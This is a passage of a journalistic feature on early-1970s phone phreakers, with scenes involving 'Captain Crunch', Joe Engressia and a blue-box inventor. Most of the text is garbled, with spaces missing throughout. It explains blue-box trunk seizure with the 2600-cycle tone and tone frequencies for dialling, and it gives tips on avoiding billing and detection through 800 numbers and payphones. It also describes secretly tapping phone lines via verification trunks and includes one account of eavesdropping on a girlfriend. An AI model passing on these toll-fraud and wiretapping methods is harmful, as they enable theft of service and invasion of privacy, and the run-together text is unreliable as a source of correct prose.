better,butIlikegoingbysatellite.SoIjustpunchoutKPZero44.TheZerois
supposedtoguaranteeasatelliteconnectionand44isthecountrycodeforEngland.
O.K.We'rethere.InLiverpoolactually.NowallIhavetodoispunchoutthe
Londonareacodewhichis1,anddialupthepayphone.Here,listen,I'vegotaring
now."IhearthesoftquickpurrpurrofaLondonring.Thensomeonepicksupthe
phone."Hello,"saystheLondonvoice."Hello.Who'sthis?"Fraserasks."Hello.
There'sactuallynobodyhere.IjustpickedthisupwhileIwaspassingby.Thisisa
publicphone.There'snooneheretoansweractually"."Hello.Don'thangup.I'm
callingfromtheUnitedStates.""Oh.Whatisthepurposeofthecall?Thisisapublic
phoneyouknow.""Oh.Youknow.Tocheckout,uh,tofindoutwhat'sgoingonin
London.Howisitthere?""Itsfiveo'clockinthemorning.It'srainingnow.""Oh.
Whoareyou?"TheLondonpasserbyturns outtobeanR.A.F.enlisteeonhisway
backtothebaseinLincolnshire,withaterriblehangoverafterathirtysixhour
pass. He and Fraser talk about the rain. They agree that it's nicer when it's not
raining.TheysaygoodbyeandFraserhangsup.Hisdimereturnswithaniceclink.
"Isn'tthatfarout,"hesaysgrinningatme."London,like that."Frasersqueezesthe
littleblueboxaffectionatelyinhispalm."Itoldyouthisthingisforreal.Listen,if

youdon'tmindI'mgonnatrythisgirlIknowinParis.Iusuallygiveheracallaround
thistime.Itfreaksherout.ThistimeI'llusethe(adifferentrentacarcompany)
800numberandwe'llgobyoverseascable,133;33isthecountrycodeforFrance,
the1sendsyoubycable.O.K.,herewego!Oh,damn!Busy.Whocouldshebe
talkingtoatthistime?"Astatepolicecarcruisesslowlybythemotel.Thecardoes
notstop,butFrasergetsnervous.Wehopbackintohiscaranddrivetenmilesinthe
oppositedirectionuntilwereachaTexacostationlockedupforthenight.Wepullup
toaphoneboothbythetirepump.FraserdashesinsideandtriestheParisnumber.It
isbusyagain."Idon'tunderstandwhoshecouldbetalkingto.Thecircuitsmaybe
busy.It'stoobadIhaven'tlearnedhowtotapintolinesoverseaswiththisthingyet."
Fraserbeginstofreakaround,asthephonefreakssay.Hedialsaleadingnationwide
charge card's 800 number and punches out the tones that bring him the time
recording in Sydney, Australia. He beeps up the weather recording in Rome, in
Italianofcourse.He callsafriendinBostonandtalksaboutacertainoverthe
counterstocktheyareintoheavily.HefindstheParisnumberbusyagain.Hecalls
up"DialaDisc"inLondonandwelistentoDoubleBarrelbyDavidandAnsil
Collins,thenumberonehitoftheweekinLondon.Hecallsupadealerofanother
sortandtalksincode.HecallsupJoeEngressia,theoriginalblindphonefreak
geniusandpayshisrespects.Thereareothercalls.FinallyFrasergetsthroughtohis
youngladyinParis.Theybothagreethecircuitsmusthavebeenbusy,andcriticize
theParistelephonesystem.AttwothirtyinthemorningFraserhangsup,pockets
hisdimeanddrivesoff,steeringwithonehand,holdingwhathecallshis"lovely
littlebluebox"intheother.
YouCanCallLongDistanceForLessThanYouThink
"Yousee,afewyearsagothephonecompanymadeonebigmistake",Gilbertson
explainstwodayslaterinhisapartment."Theywerecarelessenoughtoletsome
technical journal publish the actual frequencies used to create all their multi
frequencytones.JustatheoreticalarticlesomeBellTelephoneLaboratoriesengineer
wasdoingaboutswitchingtheoryandhelistedthetonesinpassing.At(awell
knowntechnicalschool)Ihadbeenfoolingaroundwithphonesforseveralyears
beforeIcameacrossacopyofthejournalintheengineeringlibrary.Iranbacktothe
labandittookmaybetwelvehoursfromthetimeIsawthatarticletoputtogetherthe
first working blue box. It was bigger and clumsier than this little baby, but it
worked."It'sallthereonpublicrecordinthattechnicaljournalwrittenmainlyby
BellLabpeopleforothertelephoneengineers.Oratleastitwaspublic."Justtryand
getacopyofthatissueatsomeengineeringschoollibrarynow.Bellhashadthem
allredtaggedandwithdrawnfromcirculation",Gilbertsontellsme."Butit's too
late.It'sallpublicnow.Andoncetheybecamepublicthetechnologyneededto
createyourownbeeperdeviceiswithintherangeofanytwelveyearoldkid,any
twelveyearoldblindkidasamatteroffact.Andhecandoitinlessthanthe
twelvehoursittookus.Blindkidsdoitallthetime.Theycan'tbuildanythingas
preciseandcompactasmybeeperbox,buttheirscandoanythingminecando."
"How?""O.K.AbouttwentyyearsagoA.T.&T.madeamultibilliondollar

decisiontooperateitsentirelongdistanceswitchingsystemontwelveelectronically
generatedcombinationsoftwelvemastertones.Thosearethetonesyousometimes
hearinthebackgroundafteryou'vedialledalongdistancenumber.Theydecidedto
use some very simple tones the tone for each number is just two fixed single
frequencytonesplayedsimultaneouslytocreateacertainbeatfrequency.Like1300
cyclespersecondand900cyclespersecondplayedtogethergiveyouthetonefor
digit5.Now,whatsomeofthesephonefreakshavedoneisgetthemselvesaccessto
an electric organ. Any cheap family home entertainment organ. Since the
frequenciesarepublicknowledgenowoneblindphonefreakhasevenhadthem
recordedinoneofthetalkingbooksfortheblindtheyjusthavetofindthemusical
notesontheorganwhichcorrespondtothephonetones.Thentheytapethem.For
instance,togetMaBell'stoneforthenumber1,youpressdownorgankeysF~5and
A~5(900and700cyclespersecond)atthesametime.Toproducethetonefor2it's
F~5andC~6(1100and700C.P.S).Thephonefreakscirculatethewholelistof
notessothere'snotrialanderroranymore."Heshowsmealistoftherestofthe
phonenumbersandthetwoelectricorgankeysthatproducethem."Actually,you
havetorecordthesenotesat33/4inchespersecondtapespeedanddoubleitto7
1/2inchespersecondwhenyouplaythemback,togetthepropertones,"headds.
"Soonceyouhaveallthetonesrecorded,howdoyouplugthemintothephone
system?""Well,theytaketheirorganandtheircassetterecorder,andstartbanging
outentirephonenumbersintonesontheorgan,includingcountrycodes,routing
instructions,'KP'andStarttones.Or,iftheydon'thaveanorgan,someoneinthe
phonefreaknetworksendsthemacassettewithallthetonesrecorded,withavoice
sayingNumberone,thenyouhavethetone,Numbertwo,thenthetoneandso
on.Sowithtwocassetterecorderstheycanputtogetheraseriesofphonenumbersby
switchingbackandforthfromnumbertonumber.Anyidiotinthecountrywitha
cheapcassetterecordercanmakeallthefreecallshewants.""Youmeanyoujust
holdthecassetterecorderupthemouthpieceandswitchinaseriesofbeepsyou've
recorded?Thephonethinksthatanythingthatmakesthesetonesmustbeitsown
equipment?""Right.Aslongasyougetthefrequencywithinthirtycyclesper
secondofthephonecompany'stones,thephoneequipmentthinksithearsitsown
voicetalkingtoit.Theoriginalgranddaddyphonefreakwasthisblindkidwith
perfectpitch,JoeEngressia,whousedtowhistleintothephone.Anoperatorcould
tell the difference between his whistle and the phone company's electronic tone
generator,butthephonecompany'sswitchingcircuitcan'ttellthemapart.Thebigger
thephonecompanygetsandthefurtherawayfromhumanoperatorsitgets,themore
vulnerableitbecomestoallsortsofphonefreaking".
AGuideforthePerplexed
"Butwaitaminute",IstopGilbertson."Ifeverythingyoudosoundslikephone
companyequipment,whydoesn'tthephonecompanychargeyouforthecalltheway
itchargesitsownequipment?""O.K.That'swherethe2600cycletonecomesin.I
betterstartfromthebeginning."Thebeginninghedescribesformeisavisionofthe
phonesystemofthecontinentasthousandsofwebs,oflonglinetrunks radiating

fromeachofthehundredsoftollswitchingofficestotheothertollswitchingoffices.
Each toll switching office is a hive compacted of thousands of long distance
tandems constantly whistling and beeping to tandems in far off toll switching
offices.Thetandemisthekeytothewholesystem.Eachtandemisalinewithsome
relayswiththecapabilityofsignallinganyothertandeminanyothertollswitching
officeonthecontinent,eitherdirectlyonetooneorbyprogrammingaroundabout
routethroughseveralothertandemsifallthedirectroutesarebusy.Forinstance,if
youwanttocallfromNewYorktoLosAngelesandtrafficisheavyonalldirect
trunksbetweenthetwocities,yourtandeminNewYorkisprogrammedtotrythe
nextbestroute,whichmaysendyoudowntoatandeminNewOrleans,thenupto
SanFrancisco,ordowntoaNewOrleanstandem,backtoanAtlantatandem,overto
anAlbuquerquetandemandfinallyuptoLosAngeles.Whenatandemisnotbeing
used,whenit'ssittingtherewaitingforsomeonetomakealongdistancecall,it
whistles.Onesideofthetandem,theside"facing"yourhomephone,whistlesat
2600cyclespersecondtowardallthehomephonesservicedbytheexchange,telling
themitisattheirservice,shouldtheybeinterestedinmakingalongdistancecall.
Theothersideofthetandemiswhistling2600C.P.S.intooneormorelong
distancetrunklines,tellingtherestofthephonesystemthatitisneithersendingnor
receivingacallthroughthattrunkatthemoment,thatithasnouseforthattrunkat
themoment."Whenyoudialalongdistancenumberthefirstthingthathappensis
thatyouarehookedintoatandem.Aregistercomesuptothesideofthetandem
facing away from you and presents that side with the number you dialled. This
sendingsideofthetandemstopswhistling2600intoitstrunkline.Whenatandem
stopsthe2600toneithasbeensendingthroughatrunk,thetrunkissaidtobe
"seized,"andisnow readytocarrythenumberyouhavedialledconvertedinto
multifrequencybeeptonestoatandemintheareacodeandcentralofficeyou
want.NowwhenablueboxoperatorwantstomakeacallfromNewOrleansto
NewYorkhestartsbydiallingthe800numberofacompanywhichmighthappento
haveitsheadquartersinLosAngeles.ThesendingsideoftheNewOrleanstandem
stopssending2600outoverthetrunktothecentralofficeinLosAngeles,thereby
seizingthetrunk.YourNewOrleanstandembeginssendingbeeptonestoatandem
ithasdiscoveredidlywhistling2600cyclesinLosAngeles.Thereceivingendof
thatL.A.tandemisseized,stopswhistling2600,listenstothebeeptoneswhichtell
itwhichL.A.phonetoring,andstartsringingthe800number.Meanwhileamark
madeintheNewOrleansofficeaccountingtapenotesthatacallfromyourNew
Orleansphonetothe800numberinL.A.hasbeeninitiatedandgivesthecallacode
number.Everythingisroutinesofar.Butthenthephonefreakpresseshisblueboxto
themouthpieceandpushesthe2600cyclebutton,sending2600outfromtheNew
OrleanstandemtotheL.A.tandem.TheL.A.tandemnotices2600cyclesare
comingoverthelineagainandassumesthatNewOrleanshashungupbecausethe
trunkiswhistlingasifidle.TheL.A.tandemimmediatelyceasesringingtheL.A.
800number.Butassoonasthefreaktakeshisfingeroffthe2600button,theL.A.
tandemassumesthetrunkisonceagainbeingusedbecausethe2600isgone,soit
listensforanewseriesofdigittonestofindoutwhereitmustsendthecall.Thus
theblueboxoperatorinNewOrleansnowisintouchwithatandeminL.A.which

iswaitinglikeanobedientgenietobetoldwhattodonext.Theblueboxownerthen
beepsoutthetendigitsoftheNewYorknumberwhichtelltheL.A.tandemtorelay
acalltoNewYorkCity.Whichitpromptlydoes.Assoonasyourpartypicksupthe
phoneinNewYork,thesideoftheNewOrleanstandemfacingyoustopssending2
600cyclestoyouandstarscarryinghisvoicetoyoubywayoftheL.A.tandem.A
notationismadeontheaccountingtapethattheconnectionhasbeenmadeonthe
800callwhichhadbeeninitiatedandnotedearlier.WhenyoustoptalkingtoNew
Yorkanotationismadethatthe800callhasended.Atthreethenextmorning,when
the phone company's accounting computer starts reading back over the master
accountingtapeforthepastday,itrecordsthatacallofacertainlengthoftimewas
madefromyourNewOrleanshometoanL.A.800numberand,ofcourse,the
accounting computer has been trained to ignore those toll free 800 calls when
compilingyourmonthlybill."Alltheycanproveisthatyoumadean800tollfree
call,"Gilbertsontheinventorconcludes."Ofcourse,ifyou'refoolishenoughtotalk
fortwohoursonan800call,andthey'veinstalledoneoftheirspecialantifraud
computerprogramstowatchoutforsuchthings,theymayspotyouandaskwhyyou
tooktwohourstalkingtoArmyRecruiting's800numberwhenyou're4F.Butif
youdoitfromapayphone,theymaydiscoversomethingpeculiarthenextdayif
they'vegotablueboxhuntingprogramintheircomputerbutyou'llbealongtime
gonefromthepayphonebythen.Usingapayphoneisalmostguaranteedsafe."
"WhatabouttherecentseriesofblueboxarrestsallacrossthecountryNewYork,
Clevelandandsoon?"Iasked."Howweretheycaughtsoeasily?""FromwhatI
cantell,theymadeonebigmistake:theywereseizingtrunksusinganareacodeplus
5551212insteadofan800number.Using555iseasytodetectbecausewhenyou
sendmultifrequencybeeptonesof555yougetachargeforitonyourtapeandthe
accountingcomputerknowsthere'ssomethingwrongwhenittriestobillyoufora
twohourcalltoAkron,Ohio,information,anditdropsatroublecardwhichgoes
right into the hands of the security agent if they're looking for blue box user.
"Whoeversoldthoseguystheirblueboxesdidn'ttellthemhowtousethemproperly,
whichisfairlyirresponsible.Andtheywerefairlystupidtousethemathomeallthe
time."Butwhatthosearrestsreallymeanisthananawfullotofblueboxesare
floodingintothecountryandthatpeoplearefindingthemsoeasytomakethatthey
knowhowtomakethembeforetheyknowhowtousethem.MaBellisintrouble."
Andifablueboxoperatororacassetterecorderphonefreakstickstopayphones
and800numbers,thephonecompanycan'tstopthem?"Notunlesstheychangetheir
entirenationwidelonglinestechnology,whichwilltakethemafewbilliondollars
andtwentyyears.Rightnowtheycan'tdoathing.They'rescrewed".

CaptainCrunchDemonstratesHisFamousUnit
Thereisanundergroundtelephonenetworkinthiscountry.Gilbertsondiscovered
ittheverydaynefreaksfromSeattle,fromFlorida,fromNewYork,fromSanJose,
and from Los Angeles began calling him and telling him about the phonefreak
network.He'dgetacallfromaphonefreakwho'dsaynothingbut,"Hangupandcall
thisnumber."Whenhedialledthenumberhe'dfindhimselftiedintoaconferenceof

a dozen phone freaks arranged through a quirky switching station in British

Columbia.Theyidentifiedthemselvesasphonefreaks,theydemonstrated theirhome
madeblueboxeswhichtheycalled"MFers"(for"multifrequency,"amongother
things)forhim,theytalkedshopaboutphonefreakdevices.Theylethiminontheir
secretsonthetheorythatifthephonecompanywasafterhimhemustbetrustworthy.
AndGilbertsonrecalls,theystunnedhimwiththeirtechnicalsophistication.Iask
himhowtogetintouchwiththephonefreaknetwork.Hedigsaroundthroughafile
of old schematics and comes up with about a dozen numbers in three widely
separatedareacodes."Thosearethecentres",hetellsme.Alongsidesomeofthe
numbershewritesinfirstnamesornicknames:nameslikeCaptainCrunch,Dr.No,
FrankCarson(alsoacodewordforafreecall),MartyFreeman(codewordforMF
device), Peter Perpendicular Pimple, Alefnull and The Cheshire Cat. He makes
checksalongsidethenamesofthoseamongthesetoptwelvewhoareblind.There
arefivechecks.IaskhimwhothisCaptainCrunchpersonis."Oh.TheCaptain.He's
probablythemostlegendaryphonefreak.HecallshimselfCaptainCrunchafterthe
notoriousCap'nCrunch2600whistle"(Severalyearsago,Gilbertsonexplains,the
makersofCap'nCrunchbreakfastcerealofferedatoywhistleprizeineveryboxasa
treat for the Cap'n Crunch set. Somehow a phone freak discovered that the toy
whistlejusthappenedtoproduceaperfect2600cycletone.Whenthemanwho
callshimselfCaptainCrunchwastransferredoverseastoEnglandwithhisAirForce
unit,hewouldreceivescoresofcallsfromhisfriendsand"mute"themmakethem
freeofchargetothembyblowinghisCap'nCrunchwhistleintohisend.)."Captain
Crunchisoneoftheolderphonefreaks,"Gilbertsontellsme."He'sanengineerwho
oncegotinalittletroubleforfoolingaroundwiththephone,buthecan'tstop.Well,
theyguydrivesacrosscountryinaVolkswagenvanwithanentireswitchboardanda
computerizedsupersophisticatedMFerintheback.He'llpulluptoaphone
boothonalonelyhighwaysomewhere,snakeacableoutofhisbus,hookitontothe
phoneandsitforhours,dayssometimes,sendingcallszippingbackandforthacross
thecountry,allovertheworld".Backatmymotel,Idialledthenumberhegaveme
for"CaptainCrunch"andaskedforG.T.hisrealnameoratleastthenameheuses
when he'snot dashing intoaphoneboothbeepingoutM Ftones faster than a
speedingbulletandzippingghostlikethroughthephonecompany'slongdistance
lines.WhenG.T.answeredthephoneandItoldhimIwaspreparingastoryfor
Esquireaboutphonefreaks,hebecameveryindignant."Idon'tdothat.Idon'tdothat
anymoreatall.AndifIdoit,Idoitforonereasonandonereasononly.I'mlearning
aboutasystem.ThephonecompanyisaSystem.AcomputerisaSystem,doyou
understand?IfIdowhatIdo,itisonlytoexploreasystem.Computers,systems,
that'smybag.Thephonecompanyisnothingbutacomputer."Atoneoftightly
restrainedexcitemententerstheCaptain'svoicewhenhestartstalkingaboutsystems.
Hebeginstopronounceeachsyllablewiththehusheddeliberationofanobscene
caller."MaBellisasystemIwanttoexplore.It'sabeautifulsystem,youknow,but
MaBellscrewedup.It'sterriblebecauseMaBellissuchabeautifulsystem,butshe
screwedup.Ilearnedhowshescrewedupfromacoupleofblindkidswhowanted
metobuildadevice.Acertaindevice.Theysaiditcouldmakefreecalls.Iwasn't
interestedinfreecalls.ButwhentheseblindkidstoldmeIcouldmakecallsintoa

computer,myeyeslitup.Iwantedtolearnaboutcomputers.Iwantedtolearnabout
MaBell'scomputers.SoIbuildthelittledevice,butIbuiltitwrongandMaBell
foundout.MaBellcandetectthingslikethat.MaBellknows.SoI'mstrictlyridofit
now.Idon'tdoit.Exceptforlearningpurposes."Hepauses."Soyouwanttowritean
article.Areyoupayingforthiscall?Hangupandcallthisnumber."Hegivesmea
numberinaareacodeathousandmilesawayofhisown.Idialthenumber."Hello
again.ThisisCaptainCrunch.Youarespeakingtomeonatollfreelooparoundin
Portland,Oregon.Doyouknowwhatatollfreelooparoundis?I'lltellyou.He
explainstomethatalmosteveryexchangeinthecountryhasopentestnumbers
whichallowotherexchangestotesttheirconnectionswithit.Mostofthesenumbers
occurinconsecutivepairs,suchas3029560041and3029560042.Well,certain
phonefreaksdiscoveredthatiftwopeoplefromanywhereinthecountrydialthetwo
consecutive numbers they can talk together just as if one had called the other's
number,withnochargetoeitherofthem,ofcourse."Nowourvoiceislooping
aroundina4AswitchingmachineupthereinCanada,zippingbackdowntome,"
theCaptaintellsme."Myvoiceisloopingaroundupthereandbackdowntoyou.
Anditcan'tevercostanyonemoney.ThephonefreaksandIhavecompiledalistof
manymanyofthesenumbers.Youwouldbesurprisedifyousawthelist.Icould
showittoyou.ButIwon't.I'moutofthatnow.I'mnotouttoscrewMaBell.Iknow
better.IfIdoanythingit'sforthepureknowledgeoftheSystem.Youcanlearntodo
fantasticthings.Haveyoueverheardeighttandemsstackedup?Doyouknowthe
soundoftandemsstackingandunstacking?Givemeyourphonenumber.O.K.
Hangupnowandwaitaminute."Slightlylessthanaminutelaterthephonerangand
theCaptainwasontheline, hisvoicesoundingfarmoreexcited,almostaroused."I
wanted to show you what it's like to stack up tandems. To stack up tandems."
(WhenevertheCaptainsays"stackup"itsoundsasifheislickinghislips.)"Howdo
youliketheconnectionyou'reonnow?"theCaptainasksme."It'sarawtandem.A
rawtandem.Ain'tnothinguptoitbutatandem.NowI'mgoingtoshowyouwhatit's
liketostackup.Blowoff.Landinafarawayplace.Tostackthattandemup,whip
backandforthacrossthecountryafewtimes,thenshootonuptoMoscow."Listen,"
CaptainCrunchcontinues."Listen.I'vegotlinetieonmyswitchboardhere,andI'm
gonnaletyouhearmestackandunstacktandems.Listentothis.It'sgonnablowyour
mind."FirstIhearasuperrapidfirepulsingoftheflutelikephonetones,thena
pause,thenanotherpoppingburstoftones,thenanother,thenanother.Eachburstis
followedbyabeepkachinksound."Wehavenowstackedupfourtandems,"said
CaptainCrunch,soundingsomewhatremote."That'sfourtandemsstackedup.Do
youknowwhatthatmeans?ThatmeansI'mwhippingbackandforth,backandforth
twice,acrossthecountry,beforecomingtoyou.I'vebeenknowntostackuptwenty
tandemsatatime.Now,justlikeIsaid,I'mgoingtoshootuptoMoscow."Thereisa
new,longerseriesofbeeperpulsesovertheline,abriefsilence,thenaring."Hello,"
answersafaroffvoice."Hello.IsthistheAmericanEmbassyMoscow?""Yes,sir.
Whoisthiscalling?"saysthevoice."Yes.ThisistestboardhereinNewYork.
We'recallingtocheckoutthecircuits,seewhatkindoflinesyou'vegot.Everything
O.K.thereinMoscow?""O.K.?""Well,yes,howarethingsthere?""Oh.Well,
everythingO.K.,Iguess.""O.K.Thankyou."Theyhangup,leavingaconfused

seriesofbeepkachinksoundshanginginmidetherinthewakeofthecallbefore
dissolvingaway.TheCaptainispleased."Youbelievemenow,don'tyou?Doyou
knowwhatI'dliketodo?I'djustliketocallupyoureditoratEsquireandshowhim
justwhatitsoundsliketo stackandunstacktandems.I'llgivehimashowthatwill
blowhismind.What'shisnumber?IasktheCaptainwhatkindofdevicehewas
usingtoaccomplishallhisfeats.TheCaptainispleasedatthequestion."Youcould
tellitwasspecial,couldn'tyou?"Tenpulsespersecond.That'sfasterthanthe
phonecompany'sequipment.Believeme,thisunitisthemostfamousunitinthe
country.Thereisnootherunitlikeit.Believeme.""Yes,I'veheardaboutit.Some
otherphonefreakshavetoldmeaboutit.""Theyhavebeenreferringtomy,ahem,
unit?Whatisittheysaid?Justoutofcuriosity,didtheytellyouitwasahighly
sophisticatedcomputeroperatedunit,withacousticalcouplingforreceivingoutputs
andaswitchboardwithmultiplelinetiecapability?Didtheytellyouthatthe
frequencytoleranceisguaranteedtobenotmorethan.05percent?Theamplitude
tolerancelessthan.01decibel?Thosepulsesyouheardwereperfect.Theyjustcome
fasterthanthephonecompany.Thosewerehighprecisionopamps.Opampsare
instrumentation amplifiers designed for ultrastable amplification, super low
distortion and accurate frequency response. Did they tell you it can operate in
temperaturesfrom55degreesCto+125degreesC?"Iadmitthattheydidnottell
meallthat."Ibuiltitmyself,"theCaptaingoeson."Ifyouweretogooutandbuy
thecomponentsfromanindustrialwholesaleritwouldcostyouatleast$1500.I
onceworkedforasemiconductorcompanyandallthisdidn'tcostmeacent.Doyou
knowwhatImean?DidtheytellyouabouthowIputacallcompletelyaroundthe
world?I'lltellyouhowIdidit.IMFedTokyoinward,whoconnectedmetoIndia,
IndiaconnectedmetoGreece,GreececonnectedmetoPretoria,SouthAfrica,South
AfricaconnectedmetoSouthAmerica,IwentfromSouthAmericatoLondon,Ihad
aLondonoperatorconnectmetoaNewYorkoperator,IhadNewYorkconnectme
toaCaliforniaoperatorwhorangthephonenexttome.NeedlesstosayIhadto
shouttohearmyself.Buttheechowasfarout.Fantastic.Delayed.Itwasdelayed
twenty seconds, but I could hear myself talk to myself". "You mean you were
speakingintothemouthpieceofonephonesendingyourvoicearoundtheworldinto
yourearthroughaphoneontheothersideofyourhead?"IaskedtheCaptain.Ihad
avisionofsomethingvaguellyautoerothicgoingon,inacomplexelectronicway.
"That'sright,"saidtheCaptain."I'vealsosentmyvoicearoundtheworldoneway,
goingeastononephoneandgoingwestontheother,goingthroughcableoneway,
satellitetheother,comingbacktogetheratthesametime,ringingthetwophones
simultaneouslyandpickingthemupandwhippingmyvoicebothwaysaroundthe
worldbacktome.Wow!Thatwasamindblower"."Youmeanyousittherewith
bothphonesonyourearandtalktoyourselfaroundtheworld,"Isaidincredulously.
"Yeah.Umhum.That'swhatIdo.Iconnectthephonetogetherandsitthereand
talk"."Whatdoyousay?Whatdoyousaytoyourselfwhenyou'reconnected?"
"Oh,youknow.Hellotestonetwothree",hesaysinalowpitchedvoice."Hellotest
onetwothree,"herepliedtohimselfinahighpitchedvoice."Hellotestonetwo
three,"herepeatsagain,lowpitched."Hellotestonetwothree,"hereplies,high
pitched."I sometimesdothis:HelloHelloHelloHello,Hello,"hetrailsoff and

breaksintolaughter.
WhyCaptainCrunchHardlyEverTapsPhonesAnymore
Usinginternalphonecompanycodes,phonefreakshavelearnedasimplemethod
fortappingphones.Phonecompanyoperatorshaveinfrontofthemaboardthat
holds verification jacks. It allows them to plug into conversations in case of
emergency,tolistenintoalinetodetermineifthelineisbusyorthecircuitsare
busy. Phone freaks have learned to beep out the codes which lead them to a
verificationoperator,telltheverificationoperatortheyareswitchmenfromsome
otherareacodetestingoutverificationtrunks.Oncetheoperatorhooksthemintothe
verification trunk, they disappear into the board for all practical purposes, slip
unnoticedintoanyone of the10000to100000numbersinthatcentraloffice
withouttheverificationoperatorknowingwhatthey'redoingandofcoursewithout
thetwopartiestotheconnectionknowingthereisaphantomlistenerpresentontheir
line. Toward the end of my hour long first conversation with him, I asked the
Captainifheevertappedphones."Ohno.Idon'tdothat.Idon'tthinkit'sright,"he
toldmefirmly."IhavethepowertodoitbutIdon't.Wellonetime,justonetime,I
havetoadmitthatIdid.Therewasthisgirl,LindaandIwantedtofindout,you
know.Itriedtocallherupforadate.IhadadatewithherthelastweekendandI
thoughtshelikedme.Icalledherup,manandherlinewasbusyandIkeptcalling
anditwasstillbusy.Well,Ihadjustlearnedaboutthissystemofjumpingintolines
andIsaidtomyself,Hmmm.Whynotjustseeifitworks.It'llsurpriseherifallofa
suddenIshouldpopuponherline.It'llimpressher,ifanything.SoIwentahead
anddidit.IMFedintotheline.MyMFerispowerfulenoughwhenpatched
directlyintothemouthpiecetotriggeraverificationtrunkwithoutusinganoperator
thewaytheotherphonefreakshaveto."Islippedintothelineandthereshewas
talking to another boyfriend. Making sweet talk to him. I didn't make a sound
becauseIwassodisgusted.SoIwaitedthereforhertohangup,listeningtoher
makingsweettalktotheotherguy.Youknow.SoassoonasshehungupIinstantly
MFedherupandallIsaidwas,Linda,we'rethrough.AndIhungup.Andit
blewherheadoff.Shecouldn'tfigureoutwhatthehellhappened."Butthatwasthe
onlytime.IdiditthinkingIwouldsurpriseher,impressher.Thosewereallmy
intentionswereandwell,itreallykindofhurtmeprettybadlyandeversincethenI
don't go into verification trunks." Moments later my first conversation with the
Captaincomestoaclose."Listen,"hesays,hisspiritssomewhatcheered,"Listen!
WhatyouaregoingtohearwhenIhangupisthesoundoftandemsunstacking.
Layerafterlayeroftandemsunstackinguntilthere'snothingleftofthestack,untilit
melts away into nothing. Cheep, cheep, cheep, cheep," he concludes, his voice
descendingtoawhisperwitheachcheep.Hehangsup.Thephonesuddenlygoes
intofourspasms:kachinkcheep.Kachinkcheepkachinkcheepkachinkcheepand
thecomplexconnectionhaswipeditselfoutliketheCheshirecat'ssmile.
TheMFBoogieBlues

ThenextnumberIchoosefromtheselectlistofphonefreakalumni,preparedfor
me by the blue box inventor, is a Memphis number. It is the number of Joe
Engressia,thefirstandstillperhapsthemostaccomplishedblindphonefreak.Three
yearsagoEngressiawasaninedaywonderinnewspapersandmagazinesallover
Americabecausehehadbeendiscoveredwhistlingfreelongdistanceconnections
for fellow students at the University of South Florida. Engressia was born with
perfect pitch: he could whistle phone tones better than the phone company's
equipment.Engressiamighthavegoneonwhistlinginthedarkforafewfriendsfor
therest of his lifeif thephonecompanyhadn'tdecided toexpose him.He was
warned,disciplinedbythecollege,andthewholecasebecamepublic.Inthemonths
followingmediareportsofhistalent,Engressiabeganreceivingstrangecalls.There
werecallsfromagroupofkidsinLosAngeleswhocoulddosomeverystrange
thingswiththequirkyGeneralTelephoneandElectronicscircuitryinL.A.suburbs.
TherewerecallsfromagroupofmostlyblindkidsinCalifornia,whohadbeendoing
someinterestingexperimentswithCap'nCrunchwhistlesandtestloops.Therewasa
groupinSeattle,agroupinCambridge,Massachusetts,afewfromNewYork,afew
scatteredacrossthecountry.Someofthemhadalreadyequippedthemselveswith
cassetteandelectronicMFdevices.Forsomeofthesegroups,itwasthefirsttime
theyknewoftheothers.TheexposureofEngressiawasthecatalystthatlinkedthe
separatephonefreakcentrestogether.TheyallcalledEngressia.Theytalkedtohim
aboutwhathewasdoingandwhattheyweredoing.Andthenhetoldthemthe
scatteredregionalcentresandlonelyindependentphonefreakersabouteachother,
gavethemeachother'snumberstocall,andwithinayearthescatteredphonefreak
centreshadgrownintoanationwideunderground.JoeEngressiaisonlytwentytwo
yearsoldnow,butalongthephonefreaknetworkheis"theoldman,"accordedby
phonefreakssomethingofthereverencethephonecompanybestowsonAlexander
GrahamBell.Heseldomneedstomakecallsanymore.Thephonefreaksallcallhim
andlethimknowwhatnewtricks,newcodes,newtechniquestheyhavelearned.
Everynighthesitslikeasightlessspiderinhislittleapartmentreceivingmessages
fromeverytendrilofhisweb.ItisalmostapointofpridewithJoethattheycallhim.
ButwhenIreachedhiminhisMemphisapartmentthatnight,JoeEngressiawas
lonely,jumpyandupset."God,I'mgladsomebodycalled.Idon'tknowwhytonight
ofallnightsIdon'tgetanycalls.Thisguyaroundheregotdrunkagaintonightand
propositionedmeagain.Ikeeptellinghimwe'llneverseeeyetoeyeonthissubject,
ifyouknowwhatImean.Itrytomakelightofit,youknow,buthedoesn'tgetit.I
canheadhimouttheregettingdrunkerandIdon'tknowwhathe'lldonext.It'sjust
thatI'mreallyallalonehere,justmovedtoMemphis,it'sthefirsttimeI'mlivingon
myown,andI'dhateforittoallcollapsenow.ButIwon'tgotobedwithhim.I'm
justnotveryinterestedinsexandevenifIcan'tseehimIknowhe'sugly."Didyou
hearthat?That'shimbangingabottleagainstthewalloutside.He'snice.Wellforget
aboutit.You'redoingastoryonphonefreaks?Listentothis.It'stheMFBoogie
Blues.Sureenough,ajumpyversionofMuskratRambleboogiesitswayoverthe
line,eachnoteoneofthoselongdistancephonetones.Themusicstops.Ahuge
roaringvoiceblaststhephoneoffmyear:"Andthequestionis..."roarsthevoice,
"Canablindpersonhookupanamplifieronhisown?"Theroarceases.Ahigh

pitchedoperatortypevoicereplacesit."ThisisSouthernBrailleTel.&Tel.Have
tone, will phone." This is succeeded by a quick series of M F tones, a swift
"kachink"andadeepreassuringvoice:"Ifyouneedhomecare,callthevisiting
nursesassociation.FirstNationaltimeinHonoluluis4:32p.m."JoebackinhisJoe
voiceagain:"Areweseeingeyetoeye?Si,si,,saidtheblindMexican.Ahem.
Yes.WouldyouliketoknowtheweatherinTokyo?"Thisswiftmanicsequenceof
phonefreakvaudevillestuntsandblindboyjokesmanagestokeepJoe'smindoff
histormentoronlyaslongasitlasts."ThereasonI'minMemphis,thereasonIhave
todependonthathomosexualguy,isthatthisisthefirsttimeI'vebeenabletolive
onmyownandmakephonetripsonmyown.I'vebeenbannedfromallcentral
officesaroundhomeinFlorida,theyknewmetoowell,andattheUniversitysome
ofmyfellowscholarswerealwaysharassingmebecauseIwasonthedormpay
phoneallthetimeandmakingfunofmebecauseofmyfatass,whichofcourseIdo
have,it'smyphysicalfatnessprogram,butIdon'tliketoheariteverydayandifI
can't phone trip and I can't phone freak, I can't imagine what I'd do, I've been
devotingthreequartersofmylifetoit."ImovedtoMemphisbecauseIwantedtobe
onmyownaswellasbecauseithasaNumber5crossbarswitchingsystemandsome
interestinglittleindependentphonecompanydistrictsnearbyandsofartheydon't
